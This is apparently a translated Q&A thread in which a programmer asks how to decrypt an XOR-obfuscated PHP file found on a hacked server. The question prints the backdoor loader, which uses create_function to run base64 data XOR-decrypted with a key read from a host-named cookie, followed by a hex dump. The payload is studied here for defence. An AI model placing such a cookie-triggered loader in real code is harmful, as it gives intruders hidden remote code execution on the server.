Php 如何破解异或密码

我朋友的服务器最近遭到黑客攻击，我正试图破译我发现的恶意文件，以期更好地了解黑客行为。我知道他们使用的是异或密码，我试着自己去学习所有我能学到的东西，但是我是一个程序员，我不是一个密码学家，我发现的大部分东西都是我自己搞不懂的

我需要做什么才能破解密码

下面是有问题的代码：

<?php

$vewusl = 'ZW5jMTMz...XBzazt9KCRzJXMn'; //Truncated from 1165 lines of encrypted data by me, the guy asking this question

$_igophqd = create_function ('$vewusl', igophqd (base64_decode (
    'VRNSChUZGhAfX1FYQwpBU0IbBwBKBAJQbVQEUAtQUEEQTRQwXXtWcmJwZ29lVmhjIGo'.
    'DJ0EndzJ3QzV7D3FRIlg3aSNZfGZhZmB4f2YFfGUwUDQnaDBnMWdmJGVUAFcyRxZrNF'.
    '54anFfWlVxcQZ3ZggGISNvIGI3YGE2YjVhbyZmEVY3BXtqZ094fWICK3xvUmUvMlE3c'.
    'yd0VARiNkB0MwAGcCFgbFFiUHNncEsjVHEFegckCSBlImdDKGExYmUwYQl2N2BoZlJ1'.
    'UnNgYgp1ZTBHJjNSFWYscFMiexNDYTNbKGs+TXR3cQdGdH9yU1NlIFc2InswUDFzVDR'.
    'xVXV3JWEkeyRnAVR2T2x1dGJXUnQOSzwgfCRSNnN9LWI2V20ncQ1xIXB/c2JfDmx2RC'.
    'tzfxpqNiQIIHwgXmEjZTJ9djBlKH4xBE53dQdOfm9xFmZ0DmUiKWtQbiNgUzlwHFB0I'.
    'gAVYCJjb3RjZQZuf2ZSY2RSdTMiCThiN2BhLHZVR2MicQ5iIwQBZXNAA3VmAlZpYQVc'.
    'LSZsCmUhWkMtYjZXeylIUHojdw1mYVxvbHNLI1ZyCWY9JmwodiZkUwBhMWVvNEcrVyR'.
    '0c2BxcQ5jcmISZn8gfQcna1B2IXB5NnsPZlQmdjNqJHd3fGJiD39/ZjNqciRyLDN/N3'.
    'whA3UCUSZudDJcCmIuTXNWd094cWACK1JwDgYnM3wkZSBKeS9iMn1iM1w0agRNe1Z0B'.
    '2R7YUsjVnIOAwAifCt6IgJ5NWExcVEkWzx7I1IIcGVfbHFhcQVhYzBDASdrUHUhc182'.
    'dSZhfDBYN1Y3Ugx0ZWZ8dHFyKFRmBWE2IwgWYjdgYS52E1ByJmI/cS5dY3x2T1VkZl8'.
    'wc1YndjQ7fCR+NnBqJmIzXHQ5YlB4BGMNZndPYGVmZVt2ZgpqAydBJ3cyd0MoYTVQYi'.
    'QBIHUzY1Fwdwd0fmVEK2F1J3EiJG8OViFwfiR1DF96MFg3ZjFndHN2BlF4cXYaYWIwe'.
    'TI0XiNFJmRlJmslfmQmYgpmNGcBVHR1e1BydlNzcFJ2PTl7O3YiAwQ7ZAx5CEYZSRNC'.
    'anp9f3x/cxdoEURFPUEAEVUAVwEaF08USBQSPhdJE0JqandiYXNkbBQqZGMybC0uajU'.
    'TORttSBpN'
), $_COOKIE [str_replace('.', '_', $_SERVER['HTTP_HOST'])]) . ';'); $_igophqd($vewusl); 

function igophqd ($udopz, $bgsqhbl) { return $udopz ^ str_repeat ($bgsqhbl, ceil (strlen ($udopz) / strlen ($bgsqhbl))); }  

以及base64解码版本：

5513520a15191a101f5f5158430a4153421b07004a0402506d5404500b505041104d14305d7b56726270676f65566863206a0327412777327743357b0f71512258376923597c66616660787f66057c653050342768306731676624655400573247166b345e786a715f5a557171067766080621236f2062376061366235616f2666115637057b6a674f787d62022b7c6f52652f3251377327745404623640743300067021606c5162507367704b235471057a0724092065226743286131626530610976376068665275527360620a7565304726335215662c7053227b134361335b286b3e4d7477710746747f72535365205736227b305031735434715575772561247b24670154764f6c7574625752740e4b3c207c245236737d2d6236576d27710d7121707f73625f0e6c76442b737f1a6a362408207c205e612365327d763065287e31044e7775074e7e6f711666740e6522296b506e23605339701c50742200156022636f746365066e7f66526364527533220938623760612c7655476322710e6223040165734003756602566961055c2d266c0a65215a432d6236577b2948507a23770d66615c6f6c734b23567209663d266c2876266453006131656f34472b572474736071710e63726212667f207d07276b5076217079367b0f66542676336a2477777c62620f7f7f66336a7224722c337f377c2103750251266e74325c0a622e4d7356774f787160022b52700e0627337c2465204a792f62327d62335c346a044d7b567407647b614b2356720e0300227c2b7a2202793561317151245b3c7b23520870655f6c716171056163304301276b507521735f367526617c3058375637520c7465667c747172285466056136230816623760612e7613507226623f712e5d637c764f5564665f3073562776343b7c247e36706a2662335c743962507804630d66774f606566655b76660a6a0327412777327743286135506224012075336351707707747e65442b6175277122246f0e5621707e24750c5f7a30583766316774737606517871761a6162307932345e2345266465266b257e6426620a663467015474757b50727653737052763d397b3b762203043b640c790846194913426a7a7d7f7c7f7317681144453d410011550057011a174f144814123e174913426a6a77626173646c142a6463326c2d2e6a3513391b6d481a4d

或者我应该保留base64解码输出中的空格吗？我猜我没有保留空格，这是我应该尝试打破的，但这些都是我不确定的事情

---

我还创建了一个以防我们需要$vewusl中的内容来破解这个密码。

这个问题似乎更适合于cryptography.SE或类似的问题。你的问题似乎是关于如何破解加密消息，而不是一个实际的特定编程问题“我认为是用重复密钥进行XOR加密的”->你怎么会这么想？没关系，我在最后一行看到了函数，这看起来确实像Vigenere。这在cryptography.SE上显然是离题的——甚至有一个明确的原因。正如昨天承诺的，我尝试了一些东西，但失败了。假设我没有犯愚蠢的错误，钥匙可能太长了。。。

5513520a15191a101f5f5158430a4153421b07004a0402506d5404500b505041104d14305d7b56726270676f65566863206a0327412777327743357b0f71512258376923597c66616660787f66057c653050342768306731676624655400573247166b345e786a715f5a557171067766080621236f2062376061366235616f2666115637057b6a674f787d62022b7c6f52652f3251377327745404623640743300067021606c5162507367704b235471057a0724092065226743286131626530610976376068665275527360620a7565304726335215662c7053227b134361335b286b3e4d7477710746747f72535365205736227b305031735434715575772561247b24670154764f6c7574625752740e4b3c207c245236737d2d6236576d27710d7121707f73625f0e6c76442b737f1a6a362408207c205e612365327d763065287e31044e7775074e7e6f711666740e6522296b506e23605339701c50742200156022636f746365066e7f66526364527533220938623760612c7655476322710e6223040165734003756602566961055c2d266c0a65215a432d6236577b2948507a23770d66615c6f6c734b23567209663d266c2876266453006131656f34472b572474736071710e63726212667f207d07276b5076217079367b0f66542676336a2477777c62620f7f7f66336a7224722c337f377c2103750251266e74325c0a622e4d7356774f787160022b52700e0627337c2465204a792f62327d62335c346a044d7b567407647b614b2356720e0300227c2b7a2202793561317151245b3c7b23520870655f6c716171056163304301276b507521735f367526617c3058375637520c7465667c747172285466056136230816623760612e7613507226623f712e5d637c764f5564665f3073562776343b7c247e36706a2662335c743962507804630d66774f606566655b76660a6a0327412777327743286135506224012075336351707707747e65442b6175277122246f0e5621707e24750c5f7a30583766316774737606517871761a6162307932345e2345266465266b257e6426620a663467015474757b50727653737052763d397b3b762203043b640c790846194913426a7a7d7f7c7f7317681144453d410011550057011a174f144814123e174913426a6a77626173646c142a6463326c2d2e6a3513391b6d481a4d